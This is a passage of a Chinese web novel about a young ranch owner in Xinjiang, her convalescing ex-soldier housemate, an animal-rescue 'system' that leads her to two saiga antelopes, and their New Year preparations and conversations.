姚新泉点头，随后有点不可置信地问他，“你还真是大少爷啊，连擦子都不认识？” 师月江有些尴尬地摇头，“也不是，以前家里条件差用不上这些。后来条件好起来了我也没用的机会了。” 行吧，姚新泉点了点头，“这擦子是我爸自己做得，外面的框架是他刨的，中间那个是他找了个厚实的铁皮，用钉子打孔做出来的擦子。你过会儿不管清洗还是擦丝都小心点儿手，别割着了。” 师月江老实点头，他算是发现了，自己现在可真是一点儿用都没有啊！ 他的身体虽然在恢复中，但是比起健康或者说是健壮的姚新泉来说不值一提。喂牛羊的活虽然在干，但是明显姚新泉干活更利索啊！而且没自己人家不也一样干活？ 家里活也不会干，什么都都得学，还得吃人家为了过冬储存下来的粮食。 他确实从学校里学到了很多东西，但是放在现在这个环境下，是他学的射击有用还是装甲车操作有用？是他学的手榴弹投掷有用还是武器的分解结合有用？亦或者曾经熟练掌握的无线电报通讯有用？ 要真说挨点儿边的是类似观察气象以及野外生存了，但是前者他算是发现了，姚新泉对本地气候那算是了如指掌，人家说这雪会下到后天，那明天就绝对不会停！他会的那点儿还是别卖弄了！ 至于后者的话，别说这大冬天的跑出去野外生存非得给自个儿冻死在外头，就算是夏天，他现在这个脆皮身体撑得住？ 可别死在人家牧场了！ 师月江叹气，他可真是一个带着拖油瓶的大累赘啊！ 想到这里师月江忍不住苦笑，不过没一会儿又调整好了心态，本身就是来给人家添麻烦的，如果再垮着张脸这不是给人家找不痛快吗？反正已经这样了，就做些力所能及的，至少别给人家添堵。 想到这里师月江心里闷闷的，他又一次认识到了原来自己是这么无用啊！ 等他调整好心情搬着萝卜回屋后姚新泉上下打量他，看得师月江都不自在了，“怎么了？” “没啊，我以为你种萝卜去了！” 师月江忍俊不禁，“你看，这么些够吗？” 姚新泉看了看，“够了够了”，她家萝卜大，足够两人吃了。 “麻叶子的面我和好了，先放到一边儿醒着，糖糕的面要发，不过现在屋里热，估计下午就能用了。你赶紧收拾萝卜，我把之前拿回来的里脊肉化开，先腌上。到时候咱们先炸麻叶子再炸糖糕，然后是蘑菇小酥肉，最后再炸丸子，我不想把萝卜味儿沾到别的上面。” 师月江没意见，搬了个小板凳，蜷缩着两条大长腿在那削皮，姚新泉看了他一会儿后正想发面，突然觉得不对，皱着眉问，“师月江，糖糕好像不用发面吧？” 师月江抿唇，我可真是个废物啊！我知道啥呢？ 不过幸好姚新泉也没想得到个答案，她努力回想小时候的记忆，“我隐约记得好像是要烫 面吧？”可对上师月江茫然的双眼后她又回过神来，“没事儿你忙你自己的，我琢磨琢磨，实在不行我先少弄一点儿，就算最后咱们糖糕做得不成功，我回头再发面做糖三角！”反正她就是想吃甜滋滋的糖馅儿了！ 姚新泉在锅炉上烧着一壶水，感觉温度差不多了便倒了一些在盆里，然后倒入一些小麦粉，快速搅拌，发现面粉少了又加了一些后，还倒入了一些清油，再把面团搅拌到了没有干粉的程度，这才把面盆儿放到一边去醒发。 随后又把蘑菇洗好晾到一边，见里脊肉解冻后清洗一遍再将肉切成肉条。她没切太细，主要是觉得切的太细了到时候一炸不得干巴了？肯定不好吃。 但也不能太粗，怕炸不熟。 然后切了些姜丝、葱丝进去，倒了一点点散白去腥，又放了生抽跟味精。看着肉姚新泉想了想，干脆把家里的有的胡椒粉、花椒粉、孜然都放了一些进去，最后再稍微放了些盐，抓拌均匀后她舔了舔手指，觉得咸淡应该还行就放到一边腌着了。 随后又翻出一块儿腿肉来，去皮剁碎后等着放到萝卜馅里面。 “你把萝卜攥干一些”，想了想又道，“要不你多擦一些？反正咱们还得包包子，今年除了白菜就是萝卜了，今天都弄了，就一块儿全弄完呗！” 师月江老实点头，他可会干这种没有技术含量的重复劳动了！ “等明年吧，到时候我早点买个冰箱，春天的时候烫一点荠菜，夏天了我再烫一点马生菜，都冻起来，或者晒干也行，等倒了冬天就可以用来包包子跟饺子了”，说着说着又笑着叹了口气，“不过你明年可未必有这个口福啊！” 师月江没接这个话，倒是问，“马生菜是什么？” “就是马齿苋，这个你应该听过吧？这东西其实可好了，不管是凉拌还是炒菜都好吃，而且还是一味药材呢！” 说着说着就笑了起来，师月江见状好奇地问，“你想到什么了乐成这样？” “好多人还用马生菜煮水治痔疮呢！” 师月江也没忍住笑了，“有用吗？” “那谁知道呢？反正是说有用，好多人都会挖回家去煮水然后洗屁股，不应该是有用的吧，不然也不至于那么多人都相信？” “你说马生菜我不知道，但是你说马齿苋的话我倒是想了起来，我记得它能清热解毒、消炎杀菌、清凉止血，这些我们当初课上都有教，这样一看保不齐倒是真有用！” 两人就着马齿苋能不能治痔疮这个事情又聊了半天后相视一笑，姚新泉又问，“你刚说你们学校教的，那你知道我们这边别的野菜都有什么药用吗？我是只知道能吃，别的就不太清楚了。” “蒲公英，你家吃吗？” “吃啊，不过吃得少”，姚新泉皱眉，“我觉得有股苦味儿所以不爱吃，家里也就基本不怎么去挖着吃。不过我爸喜欢喝蒲公英茶，春夏的时候晒一点儿，能喝一年呢！” 师月江点头，“你要是不忙也可以晒一点儿，或者回头”，他顿了顿接着之前的话说，“蒲公英也能清热解毒、去火消炎，对于咽喉肿痛也有用，还能减轻口腔溃疡呢！冬天蔬菜少，牧区又喜欢吃肉，所以没事儿可以泡点喝喝，对身体只有好处的！” 姚新泉似乎没有发现任何异状，她点了点头，“倒也是，我确实是忙，但也不至于忙得连这点儿时间都抽不出来，况且就算我没时间，我也可以找缪婶儿她们帮我晒一点”。 师月江微微垂着头嗯了一声继续说，“还有椒蒿，我不是太清楚你们本地是不是叫这个名字，但我好像听人说新省这边有人叫它新省芥末。” 本来还有点茫然的姚新泉听了这话恍然大悟，“你说的是麻烈烈啊！那东西我们这边也挺多的。” “估计是根据口感来得”，师月江想了想答道，“不过这也是好东西，能宣肺止咳，对风寒感冒有效果。” “除此之外我还记得你们本地是有一个种蘑菇，叫阿魏菇吧，那也是好东西，不仅能开胃健脾，同时还能治疗关节炎呢！而且我听说已经有人在人工培育这种蘑菇了，据说里面好像还有什么成分能够抗衰老以及抗癌！” 姚新泉瞪大了眼睛，那可是癌啊！ “你别这样，是说抗癌，又不是能治愈”，师月江失笑，“现在还在研究培育，不知道将来到底结果如何，希望是好的吧！” 不管什么时候人们都是谈癌色变的，希望真的有什么提取物能早日攻克这种疾病吧！ 第37章 两人有一搭没一搭地聊着,虽然是第一次炸这些东西，但是姚新泉觉得自己做得还挺有模有样的。 “师月江，你把窗户给我打开一下,这屋里油烟太大了,不开窗户受不了。” 师月江嗯了一声,过来把窗户推开。 姚家的屋子除了厨房的这一间以外,每一间的窗户外面都钉了一层塑料薄膜,防风保暖用的,厨房这间没贴就是因为有时候做饭油烟太大了实在受不了。 “县里有抽油烟机吗？” 姚新泉摇头，拿着笊篱在锅里拨拉着，“我估计是没有，如果真的想要可能还得去市里定。” 她上海的那套房子装修的时候姚爸姚妈是给她安了抽油烟机的,想着就算自己不住,租出去也好租,所以姚新泉知道现在抽油烟机大概是什么价格，那个价格到了他们这里还得贵上一成，反正在他们县里肯定是没什么市场的,所以估计没有专门卖的店。 “县里有一家专门卖家用电器的,我家那个洗衣机就是在那儿买的，双缸半自动的,差不多要1100块,贵死了！” 但没办法啊,姚爸姚妈两人每天也有好多事情要做,不可能把时间全都放在做家务上。而且这种事情不就是早买早享受吗？赚钱就是为了让自己不过苦哈哈的日子的！ “回头我帮你买一台过来，没有抽油烟机家里油烟重是一方面，还弄得到处都脏兮兮的，没必要。” “你给我买？”姚新泉看了他一眼。 师月江点头,“我在你家吃你的喝你的，总不能什么都占你便宜吧？”他倒也没有别的意思，主要确实觉得自己占了人家很大的便宜。姚新泉没收他房租、自己的伙食费以及莱尼的伙食费，自己就算干一点活，可这又能抵多少？ 姚新泉意味不明地笑了一下，她也没拒绝，“行，那到时候你自己看吧”，说完便也没有再理会他了。 师月江觉得不大对，刚想说什么就看到外面几只小动物闹了起来，大头跑得太激烈了一不小心便一脑袋栽进了雪里，其他几个小家伙都扑了上来，也不知道是在救他还是在跟他闹着玩。 就连皮皮也冲了过来，她还用她从姚新泉那里学到的尥蹶子神技不停地用后腿朝他踢雪，马脸上是非常明显的笑意。 师月江见她这样也没忍住笑了一下，刚收回视线便注意到皮皮太用力了，雪□□直从窗户处被砸了进来，掉进了姚新泉面前的油锅里。 姚新泉正盛起一盘子炸蘑菇准备端走，根本没有注意到锅里的情况，就见锅里瞬间便炸开了，师月江第一反应便是将挡在了姚新泉身前，溅起的油星子落在了他背上，师月江没忍住皱了下眉头。 姚新泉发现锅里不对后把他往后拉了一下，先把窗户关上又把煤气灶关上后，赶紧拉着他往外走。 她皱着眉拉着师月江坐在了沙发上，“衣服脱了。” 师月江抿了抿唇没动，姚新泉见状是真的不高兴了，不用她管是 吧，“行，那你自己看着办吧！”说完起身就想走，不想师月江一把抓住了她的手腕，“我脱。” 姚新泉嗤笑一声，她觉得还挺可笑的，“别觉得好像我在逼你一样，我没让你挡在我前面，你可以把我拉开的”，师月江本想说自己没反应过来，可看到姚新泉的目光后不知怎么就住了嘴。 他转过身将身上的毛衣脱了下来，又把身上的白色工字背心脱下来放在一边，不大自在地看着姚新泉。 姚新泉的目光落在他的背上，第一时间没有去看那些被烫伤的地方，反而落在了他背上的几道伤疤上，有刀疤也有枪伤。 姚新泉缓缓吐出一口气，把家里自己提前备好的医疗箱翻了出来，“衣服厚，不算特别严重，又伤在背上也不方便去冲水降温，我去洗块儿毛巾给你稍微敷一下，周围消消毒再给你涂点烫伤膏应该就好了。” 想了想还是道，“你明明可以把我拉开的，你怎么跟傻了一样？就非得伤一个人才成是吗？” 见姚新泉没问自己身上的伤师月江反而不大自在，他没回答姚新泉的问题，反倒是问，“你不问我身上是怎么回事？” 姚新泉没说话，要说不好奇是不可能的，但是她早就看出师月江情绪不太对了，自己没有跟他说话，或者莱尼、皮皮他们不在师月江身边的时候，他就好像沉浸在什么情绪中出不来一样，所以她有事儿没事儿拉着师月江说话。一方面是因为人到底是群居动物，还是想与别人交流的，另一方面也是想着有个人跟他说话总比让他自己一个人发呆要强。 两人相处得还挺愉快的，从一开始她也没说要师月江什么东西，她想着两人怎么也算朋友吧？但他刚才算得那么清楚就莫名让她生出一股子火气来。 “我之前是当兵的，后来因为一些事情退伍了，身上的伤就是那时候留下的。刚才不想脱衣服也是怕吓着你。” 姚新泉想说什么到底还是没说出来，只是嗯了一声，给他患处做完降温又涂好药后将东西收了起来，“你先晾一会儿，要是冷的话你坐到锅炉那边去，等药差不多干了再穿衣服。” 师月江又说了什么姚新泉完全没有听见，因为系统突然发布任务，“检测到宿主西北方向3公里处有一只受伤的高鼻羚羊需要救助，宿主是否要救助？”也不知是不是系统怕她不愿意出门，这次破天荒地报了动物是什么。 高鼻羚羊？姚新泉眼中满是震惊，不是已经绝迹了吗？ “系统你确定吗？” “我很确定，我还很确定的这只高鼻羚羊因为受伤身上逐渐失温，宿主若是在四十分钟内不对其进行救治，这只高鼻羚羊会死亡。宿主是否要救助？” 姚新泉缓缓吐出一口气，“要！” “我突然有点事情要出去一趟，你在家里好好待着，油锅里那些东西你要是不会就放着，我大概一个小时左右就能回来！”说完也不等师月江反应她便回了自己屋子，全副武装之后背上自己的包朝师月江那边点了点头便往大门处走去。 师月江有点懵，不是，这么大的雪她干嘛去啊？ 他咬了咬牙，飞速回了自己屋子将衣服都穿好后朝她那边追了过去。 “宿主，你的室友在后面”，系统提醒了一声，姚新泉只是嗯了一声没发表什么意见，反倒是问，“你这段时间没有发布任何救助任务是因为什么？” 系统哼哼两声，“宿主是想冒着大雪出去救助动物然后迷失在风雪中，为了动物保护事业献出生命吗？系统可以发布呢！” 好吧，听到那熟悉的阴阳怪气姚新泉的眼睛弯了弯，“你体谅我，我只有高兴啊！” 系统傲娇地不再说话了，只是在姚新泉走错方向的时候及时提醒她。 哪怕这段时间师月江的身体已经好了不少，可此时在深度超过自己小腿的大雪中前行还是让他有些吃不消。 他努力调整着自己的呼吸，踩着姚新泉踩过的路往前走，他也不知道姚新泉是要做什么去，可不管做什么他都不能让她一个小姑娘在这种大雪中独自离开。 她离开时已经叮嘱过家里的小动物们，他们倒没有跟出来，否则这么厚的雪，小动物陷在里面还真不一定能被发现！ 师月江突然产生了一种强烈的冲动，他一定要好好把身体养回来，要是从前的自己，不管她想做什么，他都能帮得上忙，可现在，师月江苦笑，他只希望自己不要拖对方的后腿。 不过不管如何，还是那句话，他不能放任她一个小姑娘独自离开！ 感受到身后师月江的艰难，姚新泉也说不清心里是什么感觉，有点酸涩还有点闷闷的。 要说她喜欢对方那倒也没有，只是一种，我把你当朋友，原来你还是跟我那么见外的别扭感。她轻轻摇了摇头，现在不是想这些的时候，还是先去看那只羚羊吧！ “系统，我家牧场这边适合高鼻羚羊生存吗？之前从没有听说过这边会有高鼻羚羊的存在啊？” “系统只能分析准格尔盆地是新省境内最适合高鼻羚羊生存的地方，那也是曾经高鼻羚羊的栖息地，至于这一只是为什么会出现在你的牧场附近，系统也无法溯源呢！” “跟人类有关系吗？” “呵！”系统冷笑一声，“绝大多数的动物灭绝都跟人类有关系呢！如果不是因为盗猎以及栖息地被破坏，高鼻羚羊也不至于数量稀少甚至是灭绝哦！” 姚新泉不知道怎么解释便不再继续这个话题，继续蒙着头往前走。 “系统，还有多久？” “12分钟，宿主加油哦！” 这个大雪太阻碍行动了，姚新泉费了老大的劲儿终于看到了前方大雪中倒下的那只高鼻羚羊，“幼崽吗？”姚新泉有些发愁，不会还要喝奶吧？如今牧场上没有牲畜产奶，这也不好下山啊！ “被救助动物骨龄已满5个月，高鼻羚羊的哺乳期一般是四个月，不用喝奶。” 姚新泉松了口气，她蹲下身小心打量眼前这只高鼻羚羊，高鼻羚羊浑身最显著的特色就是它那膨大而下垂的鼻子，形状有点儿像短象鼻，鼻孔也是朝下的，它的名字也跟这个鼻子有关。 羚羊的毛色是偏灰的，体型也不大，约莫不到一米，身高也就五六十厘米，估计二十来公斤的样子，不是很重。 “这是雌性吗？好像没长角。” “是雄性，雄性高鼻羚羊一般在六个月大开始长角，一岁左右基本长成，它们的羚羊角就是你们人类杀害它们的原因，入药。” 姚新泉一边从背包中翻出自己带过来的羊毛毯子把高鼻羚羊包裹上一边叹气，“系统啊，你今天不呛我是不能说话吗？我自问就算没有你这个动物救助系统我也从来没有伤害过野生动物吧？就算没有你这个系统我要是能帮我也是会帮的。那我从来没有做过恶事，你又为什么要把那些人的罪恶强加在我身上呢？我既没有买卖，我更没有杀害，甚至我连他们的角是用于做什么的我都不知道，我又凭什么背负这些血债和罪孽呢？就因为我是人类吗？可我不也同样痛恨他们吗？我觉得你这个态度不太对，对我也不公平。” 第38章 系统沉默了许久,就在师月江都走到姚新泉身边了之后它才道，“那如果我告诉你，你面前的这只高鼻羚羊是整个新省唯二的两只之一呢？” 姚新泉闭了闭眼缓缓吐出一口气,“我还是那句话,我会做我应该做的,或者说我能做的,但我不会因为跟那些人都是人类就背负上不属于我的罪恶感。” “不过现在我想问的是,另一只在哪里？” 系统继续沉默,就在姚新泉以为它不会说的时候，系统开口了，“检测到右前方两公里 处有一只并未受伤的落单高鼻羚羊，宿主是否愿意暂时收留？系统提示,收留该只高鼻羚羊并无积分奖励。” 姚新泉在师月江的目光中突然笑了,那个笑便是若干年后他还依然记得,像是一道光，一道能让人浑身充满力量的光。 “师月江，给你两个选择,要么带着这只受伤的高鼻羚羊先回家,要么在那棵树旁边挡一挡风，等我回来,你选哪个？” 他毫不迟疑,“我选第二个”,可说完又忍不住问,“可以说说你要去哪儿吗？去做什么吗？” 他是真的很茫然，茫然地跟着姚新泉出来，茫然地看着她放到自己怀里的小动物，茫然地看着她即将离去。 姚新泉的手轻轻放在了高鼻羚羊的头上,“系统，治愈术”，另一只手从口袋里掏出两颗糖来，剥开糖纸后一颗给了自己，一颗给了师月江，指尖触碰到师月江的唇时她突然抬头朝他笑了笑，“不能呢！” 她摸了摸高鼻羚羊的大鼻子，“你在这乖乖等我，我去把你的同伴带回来！” 师月江觉得自己不该信她，神经病啊，虽然没下雪了，但是积雪这么深，在草原上哪怕他学过该怎么在野外辨识方向都快分不清东南西北了。 脸冷，身上冷，脚冷，就好像全身没有一个地方是不冷的。冰箱里虽然冷但好歹没风吧？还不如待在冰箱里呢！ 他觉得他应该转身就走，或者拽着她转身就走，可不知道为什么，脚下就跟扎了根一样站在原地。 他的目光对上怀里苏醒了的高鼻羚羊，也不知道是在跟它说还是在自言自语，“我真的是疯了！” 小家伙出奇地安静，乖乖地躺在他的怀里不动，他注意到了高鼻羚羊的后腿不仅有伤口，骨头好像还有些不正常，他叹了口气，“还好你伤口基本已经止住不流血了，骨头的话回去我帮你正正骨”，说完他有点心虚地移开了目光，知道怎么给人正骨，应该也可以帮动物正骨吧？ 谁知道呢！ 他把小羚羊裹紧抱在怀里，互相取暖。 另一边姚新泉憋着一口气向着系统指明的方向走去，在积雪中行走太难了，不只是距离的问题。将脚从现在的雪坑里拔出来再迈入前方的积雪似乎都要耗费全身的力气，之前那三公里已经让她气喘吁吁了，可不知为什么，姚新泉现在心里就是憋着一股子气，无论如何也要将那只小家伙也带回来！ 也不知过了多久，终于到了目的地，姚新泉放眼望去只看到一片片云杉林，不是她牧场里的那一片，是另外的一片林子。 她家牧场所在的地方最多也最大的一种树木就是云杉，“羊呢？我咋没看到？” “在你右前方那棵最大的云杉树洞里面。” 小家伙还挺聪明！ 姚新泉顺着找了过去，就看到一棵两人合抱都未必能抱的住的大树，姚新泉感叹，“好家伙，这棵树怕是有几百年了吧？” 她也没等系统的回答，小心将树洞门口的雪扒开，就听到一声颤抖着的有点像是牛叫的“哞”声。 姚新泉哪怕没有金手指都能听的出来小家伙的害怕，她停下了手中的动作，忍不住放缓了声音，“小朋友我没有恶意的，我知道你自己在这里没办法度过冬天，我还捡到了你的朋友，它受伤了，在我朋友那里，我准备把它带回家治疗，你也跟着我回家好吗？” 她絮絮叨叨站在树洞外说了半天，反正她是觉得把自己的善意表达的淋漓尽致了，也不知道小家伙是听懂了还是怎么的，竟然自己从树洞里走了出来！ 刚才捡到那只小家伙的时候她心情还挺复杂的，跟系统也争执了几句，所以并没有太去关注高鼻羚羊的长相，此时看到这只小家伙后忍不住有些沉默。 就，就长得还挺有趣哈！ “系统，它就是你说的小家伙吗？是公还是母啊？”虽然没有角，但有了刚才的经验也不好说这小家伙是雄性还是雌性了。不过有一点可以确定，这小家伙应该也没成年。 “嗯，经检测，骨龄五月有余，雌性。” 姚新泉不知道为什么总觉得眼眶酸酸的，她深深吸了一口气，“所以它们俩将来是可以繁殖后代了是吗？高鼻羚羊不会在咱们新省灭绝了是吗？” 系统没有说话，可不影响姚新泉的好心情。 她一把抱起小家伙用力在她脑袋上亲了一口，“宝贝，走，我带你找你对象去！这婚姻我是包办定了！”说完也不知道哪里来的牛劲儿，那么厚的雪抱着二十多公斤的小家伙就在雪中奔跑了起来。 系统无语，半晌后没忍住也笑了起来。 姚新泉跑了几米就停了下来，不过也没让小家伙自己走，还是把她抱在了怀里，去跟师月江会合。 师月江远远看到她走了过来没忍住起身往她那边走了两步，等看到她怀里抱着的另一只高鼻羚羊后眉头一动，可到底什么也没问。 姚新泉也没什么可怕的，就算他真的出去说自己有特异功能难不成谁会信？小说看多了吧？ 再说了，专门捡动物的特异功能，又不是什么点金术之类的，就算有人有那种坏心思，也未必会动手。谁吃饱了撑的闲的没事儿搞个大冷天让自己跑出去一走就是五六公里的路去救助动物的特异功能啊？ “行了，带着他们俩回吧！你能抱的动吗？不行我这只放到我包里我背着，你那只我来抱？” 师月江黑了脸，“新泉，我是个男人，我还是个退伍军人。” 姚新泉无奈，“你包袱还挺重，那行吧，男人，你抱着走吧？” 师月江被噎了一下，到底也没说什么，他现在各方面都不如姚新泉是肯定的。 不过他也暗下决心，一定要把身体调养好，不能这样下去了！ 两人也算是克服了千难万险终于到家了，到家后姚新泉没理几个玩雪玩疯了，闻到有陌生味道就冲过来还把高鼻羚羊都吓得发抖的小傻子，把健康的这只放到客厅地上后，接过师月江手里的那只，师月江小心把羊皮褥子放到地上，姚新泉再把小羚羊放到上面去。 “先回去换个衣服，在外面都冻透了吧？”见师月江脸上跟两坨高原红一样又觉得有点好笑，“你以后出去把脸护好，长的那么好的脸上要是有了冻疮那就可惜了。” 师月江突然觉得屋里温度有点高，他用手背碰了下脸，声音不自觉放低了些，“我先回去换衣服了。” 等他平复好心情再回来的时候就见姚新泉穿了一件深蓝色的卫衣坐在地上，小心给受伤的那只高鼻羚羊的伤口上药。 深蓝色的卫衣衬得她整个人都白得发光，任谁看了她都不会觉得这是一位有着四千亩牧场的女老板。 而且她还不是只张口不动手的那种，粗活累活也没少干，也不知新省的风这么硬，怎么竟然一点都没有把她吹粗糙了。 “你过来了啊！你帮我去仓库那边找上两块儿小一点的木板过来，我给它做个夹板。” “你还会这？”师月江有点惊讶，兽医她都会？同时又有点遗憾，自己也没能露一手啊！ “这就是最简单的骨折，稍微有点肿胀，骨头没有变形也没有外露，这种的话我们家养了这么多年牲畜，我就算自己没做过也见我爸妈做过的。” 师月江点了点头赶忙去找了两块儿木板回来，把木板擦拭干净后又给表面做了消毒，姚新泉小心地给小羚羊的后腿绑好外固定，又拉着它强调了半天不许二次伤害。 师月江眼带笑意地看着她跟动物说话的模样，不知为何心里软软的。 “这动物叫什么，我从来没见过？” “高鼻羚羊，八九年的时候就已经被列为国家一级保护动物了，数量非常稀少，甚至有可能就只有这两只了”，她轻轻摸了摸两只小家伙。 将种族的兴衰系在它们的身上也不公平，可问题是这不是口头说说，它俩要不生，那高鼻 羚羊在国内可就真要灭绝了！ “它们算是羊吗还是羚羊？” 姚新泉也搞不清楚便问系统，“它们是牛科，羚羊亚科。” “牛科？”姚新泉瞪大了眼睛，怪不得呢，她说怎么见着这个小家伙她叫起来有点儿像牛叫呢！ 她赶紧把这个新知识分享给了师月江，见他也惊讶姚新泉这才高兴了，才不是自己知识不够丰富呢！ “我得给它们弄个盆来装一些干草，别弄得到时候满地都是，咱们才大扫除过呢！” 师月江制止了她，“我去找吧，你都够辛苦的了！”她比自己可多走了不少路呢！ “行，你去找一下，我记得家里好像还有之前的洗衣盆，好大一个，我爸妈没舍得扔，不在仓库就在牛圈羊圈里面，你去找一下吧！” 姚新泉刚想喝口水就听系统播报，“本次因救援难度大，特奖励30积分，请宿主再接再厉！” “小金15分！小狼崽15分！莱尼15分！点点1分！再加上今天的30分”，姚新泉眼睛都亮了，“我觉得我现在离我的兽医课特别近！” 心疼最便宜的点点！ 第39章 暂时安顿好两只小家伙后姚新泉跟师月江两人又去厨房把该炸的东西都炸完,姚新泉终于松了一口气，“这个油烟味儿闻得我都有点恶心了，你看看想吃什么就吃,我去把那几个小家伙叫进来,给它们炸了一点儿没有调料的萝卜丸子跟肉丸子。” 适当吃一点儿问题不大,她探着头朝厨房窗户那边招呼一声,小家伙们飞快地跑了回来,又老实在回廊下的垫子上把脚蹭干净了,姚新泉把碗给他们放下，“就尝尝味道啊，你们的饭是另外的！” 皮皮一口将萝卜丸子吃到嘴里，嚼了半天也不往下咽,姚新泉就知道了这个兔崽子不喜欢吃炸萝卜丸子。 “师月江,之前你擦丝的时候让你放在一边的萝卜块儿呢？你拿过来一下！” 师月江端了个小碗过来,把几个萝卜块儿放在了皮皮的碗里，这下它不挑了，大眼睛里满满的都是高兴！ “家里那个擦子特别锋利,擦这种最后的一小块容易伤到手,干脆就给它吃吧！” 之后几天姚新泉和师月江两人包了包子、卤了肉，做了豆腐,还熬煮了一大桶豆浆冻在外面,就这样忙忙碌碌到了大年三十。 一大早起来给父母上了香之后两人就操持起了今年的年夜饭,“中午咱们就吃饺子吧,晚上再正儿八经吃，成吗？” 她家习惯是在晚上吃年夜饭，中午基本上都是对付一顿的，师月江自然也没有意见。 把鱼、鲜肉、卤肉等都拿出来化冻又把家里最后一把芹菜拿出来,好歹也算是有个绿色的菜，剩下白菜、萝卜也都收拾出来，就算这东西吃了一个冬天，可当肉吃多的时候还是想吃它们。 “我小的时候爸妈是这边一个国营牧场上的双职工，家里条件按道理讲还挺好的，但是我小姑跟二叔都在上学，所以哪怕是双职工家庭，日子其实也过得紧巴巴的。” “每年我最期待的就是过年了，一方面牧场会给员工发年货，每年都有好几公斤肉，另一方面我爸妈也就过年的时候舍得花钱，会买不少好吃的。过年的时候我除了在饺子跟包子里，从来是不愿意碰大白菜的”，姚新泉笑着夹了一筷子醋溜白菜，“没想到这一桌子肉，我夹得第一筷子竟然是白菜。” 师月江也夹了一筷子，“我们那时候在南方，我在北方出生，习惯了北方的冬天，骤然到了南方不仅仅是身份的落差，整个人浑身哪哪儿都不自在，手上脚上全是冻疮。我记得第一年到广州那边的时候就是冬天去的，那些人瞧不起我们，我哥还被他们在大冷天推到水里了，我哥不会水，所以我当时立马就跳了下去”，说到这里他不好意思地笑了笑，“你不知道我那时候特别偏激，我心里想得是，要是能救那就救，要是救不了我就跟我哥一起死在这里，让那些王八蛋吃不了兜着走！”但是事实上就算他们真的死了，那些人也未必会因为两个被下放的孩子的死而被怎么样。 姚新泉大概猜到他家是什么情况了，“你家曾经被划为资本家了？” 师越江摇头，“没到那个份儿上，我爸妈家里条件确实都不错，我爸家里是开酒楼的，我妈家里是开当铺的。我外公外婆只有这一个闺女，两家人打小就认识，所以顺理成章地走到了一起。” “后来新中国成立进行社会主义改造的时候，我家的酒楼和当铺都是经过了公私合营的，我爸妈他们也都在酒楼和当铺里谋了个工作，每年能拿到定息，但是得不到经营权了。” “因为两家都是比较本分的人家，生意做得不算特别大，人也没什么坏心肠，没有剥削行为，所以也只是城市小资产阶级，不算资本家。” “但后来那些人闹昏了头的时候根本不管那么多，而且那时候哪里都乱，这资本家和城市小资产阶级的边缘也被弱化了，我们家就被当作资本家下放了。” “不过后来拨乱反正的时候我家算是第一批被平反的，家里的东西也都还回来了，不然我后面高考可能都考不成呢！” “那你父母呢？都因为这个被下放过，他们竟然还敢做生意？”姚新泉有些好奇地问道，因了之前的事情，多少人对政策战战兢兢的，生怕哪天又回头清算他们，所以刚改开的那阵多少人谋划着出国，就怕再一次改造到他们头上。 师月江有些无奈地叹气，“他们倒是也想跑，但两人一句英语不会说，也曾想过去香港，可两人也学不会粤语！” 他半是庆幸半是好笑地说，“幸好他们语言能力不强，不然我跟我哥年龄小，那时候还不能做自己的主，他们若是真走，那必然也是要把我们带走的。我跟我哥一个想法，我们就想待在自己国家，在哪儿都没在自己家好！” 姚新泉很是赞同地点头，“以前不过是咱们东方巨龙打了个盹，如今不仅慢慢赶上来了，将来那更是要腾飞的！还是留在自己家好！” 两人相视一笑，姚新泉举起酒杯，“敬祖国！” 师月江轻轻跟她碰了一下，将杯中酒一口干了。 不过她又有点好奇，“你爸你妈真的一句外语都不会吗？感觉你家生意做得还挺大的，以前没想着出去留个学什么的？” 师月江失笑，“我爸之前好多次的庆幸过这个事情，早年我爷爷确实想送他去国外读书，他也坐上了去美国的轮渡，可是当轮渡还没起航的时候，他在甲板上听到一群外国人说英语只觉得头皮发麻，曾经那点儿觉得自己到了美国，有了语言环境肯定就能学好英语的想法瞬间破灭，他什么也不顾了，扭头就下了船，再也没提过出国的事情。” 姚新泉没忍住笑了起来，“不过在那个时期，对你们家来说算是好事了！” “谁说不是呢！”不过当他想到这样一个完全不通英语的人，如今带着翻译跟保镖就满世界到处玩，放浪形骸，又忍不住叹气，不知道说些什么好。 “那你呢，你退伍之后打算做些什么呢？” 师月江抿了一口酒，神情有些寥落，“其实我也不知道”，不知怎么他突然有了些谈性，“退伍的时候我也算不上万念俱灰吧，只是觉得干什么都没意思，我哥说让我去家里的公司上班，我不想去。他让我去继续读书，我也不想去。他让我看看要不要培养些什么爱好，我也完全没有兴趣。后来还是觉得莱尼被困在我们家那个院子里太可怜了，所以我才带着她出来自驾游，至于将来，我是真没想过”，甚至，没想过有将来。 “我看你年龄也不大，又没有生存压力，慢慢想呗！我觉得你之前不管是进军校还是入伍，那肯定都是为了梦想，你已经追逐过梦想了，已经体验过了自己想象中的生活，剩下的人生里，哪怕你什么都不做其实也无所谓的。” 姚新泉想的很开，也不会因为这就觉得对方不求上进之类的。 求上进？有多少人求上进是求的改变命运的契机？有多少人求上进只是为了改善生活，为了生存？又有多少人是单纯为了理想？ 他师月江就算躺着过完下半辈子他也不缺钱花，已经追逐过理想了，并且为理想付出了许多，这些从他身上的“军功章”上也能看得出来。 至于改变命运？师月江如今的命运还想怎么改变？大富豪不做了，去从政？当大领导？ 他前面的这小半辈子已经足够精彩了，那么后半辈子在姚新泉看来，他绝对有什么都不做，只是快乐的生活的资本。 师月江笑了笑，朝她举了举杯。 两人就这么从过去聊到未来，从经济聊到政治，又聊到身边的八卦轶事。 最开始坐在餐桌上，后来去了沙发上，小动物们就躺在他们俩脚边上，屋里暖烘烘的，只剩下浅浅的呼吸声。 第二天一早师月江一睁开眼就觉得不对，这是谁的头发？不对，这是谁在自己怀里？ 他僵直在那里不敢动，可心却像要从嗓子眼儿里跳出来了。 这是在客厅的地上，昨晚两人聊到很晚，喝了不少酒，也不知怎么着没回房间，就胡乱在客厅地上的羊皮褥子上睡下了。 也不知是怎么回事，他将姚新泉抱在了怀里。 师月江脑袋乱的不行，甚至忘了要把手松开。等感受到怀里的身体动了一下时他更是不敢有任何异动。 他感受到姚新泉将他搭在对方腰上的手臂拿开，对方起身似乎坐在一边看了他许久，师月江不知道该怎么面对她。 两人肯定是什么都没有发生过，这是毋庸置疑的，所谓的喝酒乱性都是狗屁！人那就是为了乱性，喝酒不过是个名头而已！ 只是就算什么也没有发生，也难免觉得冒犯了女方，心里乱糟糟的。 他使出浑身力气控制眼皮不要乱颤，半晌感觉到对方离开了他才缓缓吐出一口气，许久后轻轻睁开眼叹气。 唉！ 第40章 姚新泉回屋拿衣服去洗澡,她也有些头疼。 